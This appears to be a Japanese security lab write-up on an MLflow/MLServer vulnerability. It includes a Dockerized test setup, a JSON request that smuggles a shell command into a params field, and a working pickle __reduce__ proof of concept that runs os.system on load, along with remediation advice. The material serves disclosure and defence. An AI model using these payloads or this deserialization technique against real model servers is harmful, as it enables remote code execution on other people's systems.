MLflow および MLServer におけるデシリアライゼーション動作を評価するための研究環境と検証スクリプト。
| 指標 | 詳細 |
|---|
| 脆弱性ID | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| 共通脆弱性タイプ | CWE-78: OSコマンドインジェクション |
| CVSS v3.1基本スコア | 9.6 CRITICAL (CNA: huntr.dev) / 7.8 HIGH (NVD) |
| 影響ベクトル | ネットワーク隣接、低複雑性、権限不要、ユーザー操作不要 |
| 影響を受けるエコシステム | mlflow/mlflow(enable_mlserver=Trueで提供されるすべてのレガシーアーキテクチャ) |
MLflowは、高性能でエンタープライズグレードのモデルサービングを処理するために、SeldonのMLServerとの統合を特長としています。コマンドラインインターフェースまたは追跡サーバーAPIを介してモデルサーバーを起動する際、開発者は次の設定パラメータフラグを利用します:
enable_mlserver = True
この実験環境は、ユーザーが提供した入力パラメータとアーティファクトメタデータを解析する際の機械学習モデルサービングフレームワークのランタイム動作を評価します。MLServerのAPI側のパラメータ解析境界は生の文字列リテラルを明確に分離し(シェルメタ文字を介した従来のOSコマンドインジェクションを防止)、基盤となるPythonランタイムは、レガシーなシリアル化オブジェクトストリーム(.pkl / pickle)を取り込む際に、構造的に安全でないデシリアライゼーションに対して脆弱なままです。
pickleベースの予測バックエンド再現環境はDockerを使用してコンテナ化され、オペレーティングシステム層を分離し、本番グレードの機械学習モデルエンドポイントをシミュレートします。
Dockerfile)FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
初期テストでは、/invocations RESTエンドポイントのparamsペイロード配列を通じて、シェル終了ペイロードシーケンス(; touch /tmp/poc_success_marker.txt #)を渡そうと試みました。
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
結果: 否定的。 フレームワークはペイロードを絶対的な、評価されない文字列リテラルとして安全に扱いました。これにより、エンジンは入力変数を生のコマンドラッパーを介してシステムシェル引数を動的に合成するのではなく、直接Pythonメモリ空間に抽象化することが確認されました。
MLflowとMLServerはコンパイルされたPythonオブジェクトを取り込むため、核心的なリスクは文字列評価からオブジェクトグラフ再構築に移行します。カスタム検証スクリプトを使用して、Pythonのネイティブマジック最適化メソッド(__reduce__)を介して、実行トリガーがシミュレートされたモデルストリームに直接埋め込まれました。
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
スクリプトは、バックエンドのロードシーケンスを模倣するために、コンテナサンドボックス環境に注入されました。
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
コンテナの分離された一時ディレクトリをクエリしたところ、オブジェクト割り当てループ中に即座に任意コード実行が発生したことが確認されました。
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
この問題は、モデルアーティファクトストレージ層への暗黙の信頼に起因します。標準のPython .pkl / pickleファイルは単なるフラットな設定レコードとして機能するわけではなく、ネストされたオブジェクトプロパティを再構築するための逐次的なバイトコード命令を含んでいます。
pickle.load()がデータセットを解析する際、__reduce__フックによって与えられた命令ストリームを優先します。これにより、データ型の検証や機械学習推論計算が初期化される前に、ターゲットアプリケーションがシェル環境内で直接ネイティブシステムバイナリ(os.system)を呼び出すようにリダイレクトされます。
すべてのトレーニングおよびデプロイパイプライン全体でレガシーなシリアル化レイヤー(pickle、joblib、marshal)の使用を非推奨にします。これらを構造的でデータのみの制約に置き換えます:
パイプラインがレガシーモデル構成を厳密に必要とする場合:
USER 10001)の下で厳密に実行ラッパーを実行します。cap_drop: [ALL])、ポッドを機密メタデータエンドポイントを含むネットワークから分離します。